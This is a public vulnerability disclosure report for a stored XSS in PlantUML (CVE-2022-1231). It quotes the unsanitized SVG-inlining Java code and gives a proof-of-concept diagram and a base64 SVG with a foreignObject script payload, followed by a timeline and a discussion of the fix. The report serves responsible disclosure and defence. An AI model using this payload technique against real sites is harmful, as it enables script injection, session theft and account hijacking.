huntr

XSS via Embedded SVG in SVG Diagram Format in plantuml/plantuml

0

✓ Valid Reported on Apr 3rd 2022

Description

It is possible to embed SVG images in diagrams. When those are exported or used in a diagram in SVG format, the content of the embedded SVG image is included inline. This means the SVG markup gets inserted directly into the markup of the enclosing SVG.
Since the SVG content is not sanitized it opens a XSS vulnerability. SVG allows among other things, the inclusion of HTML markup via `foreignObject` elements. So this also allows adding `script` tags and executing JavaScript in the context of a website that embeds the diagram in SVG format.
With this technique the security measures like filtering out `javascript:` -links of the diagram can be bypassed and even more dangerous payloads that execute automatically in the background can be delivered.
Handling of embedded SVG (constructing SVG string and setting a placeholder for serialization):
https://github.com/plantuml/plantuml/blob/v1.2022.3/src/net/sourceforge/plantuml/svg/SvgGraphics.java#L899-L911

```
public void svgImage(UImageSvg image, double x, double y) {
    if (hidden == false) {
        String svg = manageScale(image);
        final String pos = "<svg x=\"" + format(x) + "\" y=\"" + format(y)
        svg = pos + svg.substring(5);
        final String key = "imagesvginlined" + image.getMD5Hex() + images.s
        final Element elt = (Element) document.createElement(key);
        getG().appendChild(elt);
        images.put(key, svg);
    }
    ensureVisible(x, y);
    ensureVisible(x + image.getData("width"), y + image.get
}
```

Chat with us

Serialization (replacing placeholder with markup of embedded SVG):
https://github.com/plantuml/plantuml/blob/v1.2022.3/src/net/sourceforge/plantuml/svg/SvgGraphics.java#L644-L658

```
public void createXml(OutputStream os) throws TransformerException, IOExcep
    if (images.size() == 0) {
        createXmlInternal(os);
        return;
    }
    final ByteArrayOutputStream baos = new ByteArrayOutputStream();
    createXmlInternal(baos);
    String s = new String(baos.toByteArray());
    for (Map.Entry<String, String> ent : images.entrySet()) {
        final String k = "<" + ent.getKey() + "/>";
        s = s.replace(k, ent.getValue());
    }
    s = removeXmlHeader(s);
    os.write(s.getBytes());
}
```

Proof of Concept

As an example the PlantUML diagram below will automatically execute `alert(document.domain)` when loaded:
PlantUML code:

```
@startuml
start
: aasdf <img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTAwIiBoZWlnaHQ
stop
@enduml
```

Chat with us

Link for a PlantUML server (adjust host/port):

http://127.0.0.1:8080/plantuml/svg/LOtHRe8m64RlVGhYhIPhG3VHiGHmIb5CnGMaTp-WNP5gOqaHdtwQB4jsyLsTdFEf1gvDRse0gF9el7F137Kjd7u93Kov07PuKPeDRgAUvQ0EhwCX2JOcxJmBqXZ17F7eosqnzouqhSyGR6rSVRQHZmS-TndstGaLTlTa-Sdc89AgzF-xuGupM2QIcj-

8xF0jchirhaQhXyj-DodCJGTx3n6nK7GVejKorfcLD3GTexM8TPukPCvFRyItxvaLoYBO_lslJQeByUoFIIPadLaFLhMwiEYPCCVfVnYpdcekyWS0
The diagram above embeds the following base64 encoded SVG image:

```
<svg width="100" height="100">
    <foreignObject width="100%" height="100%">
        <script>alert(document.domain);</script>
    </foreignObject>
</svg>
```

The resulting SVG of the diagram generated by PlantUML consists of:

```
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999
    <foreignObject width="100%" height="100%">
        <script>alert(document.domain);</script>
    </foreignObject>
</svg><text fill="#000000" font-family="sans-serif" font-size="12" lengthAd
```

The embedded SVG with the payload can be easily spotted.

Impact

Stored XSS in the context of the diagram embedder. Depending on the actual context, this ranges from stealing secrets to account hijacking or even to code execution for example in desktop applications. Web based applications are the ones most affected. Since the SVG format allows clickable links in diagrams, it is commonly used in plugins for web based projects (like the Confluence plugin, etc. see https://plantuml.com/de/running).

CVE
CVE-2022-1231
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
Critical (9.3)

Registry
Other

Affected Version
1.2022.3 (latest) and below

Visibility
Public

Status
Fixed

Found by

Tobias S. Fink
@7085
legend

This report was seen 1,034 times.

We are processing your report and will contact the **plantuml** team within 24 hours. 8 months ago

We have contacted a member of the **plantuml** team and are waiting to hear back 8 months ago

A **plantuml/plantuml** maintainer has acknowledged this report 8 months ago

A **plantuml/plantuml** maintainer validated this vulnerability 8 months ago

Tobias S. Fink has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Tobias S. Fink 8 months ago Researcher

Thanks for the fast response. Sure I will help with feedback.

Do you already have a specific countermeasure in mind?
I think there are two possible strategies:

Chat with us

Use SVG `image` elements to include embedded SVGs. This would have the small downside of disable interactive elements.

Sanitize the embedded SVG. Unfortunately I don't know a good sanitizer library for SVG in Java. DOMPurify would do a good job, however it is written in JavaScript.

We have sent a fix follow up to the **plantuml** team. We will try again in 7 days. 8 months ago

We have sent a second fix follow up to the **plantuml** team. We will try again in 10 days.
7 months ago

A **plantuml/plantuml** maintainer marked this as fixed in **1.2022.4** with commit **c9137b**
7 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

Tobias S. Fink 7 months ago Researcher

Hi Arnaud (@maintainer), I think that the fix is insufficient, but unfortunately this report seems to be public already?
How should we discuss this now?
I really think the only way to be sure is instead of embedding the inline svg directly as svg element is to use an svg `image` and set the data URI as href of this element. This will disable any JavaScript or loading of external resources inside the embedded inline svg and make it safe.

PlantUML 7 months ago Maintainer

I think that `<image>` tag only works for raster image, not for SVG.
We've made some tests with `<image>` using data URI, but it does not seem to work.
(see http://beta.plantuml.net/test_uri.svg)

Could you contact us by email (plantuml@gmail.com) ?
Thanks!

Sign in to join this conversation

Chat with us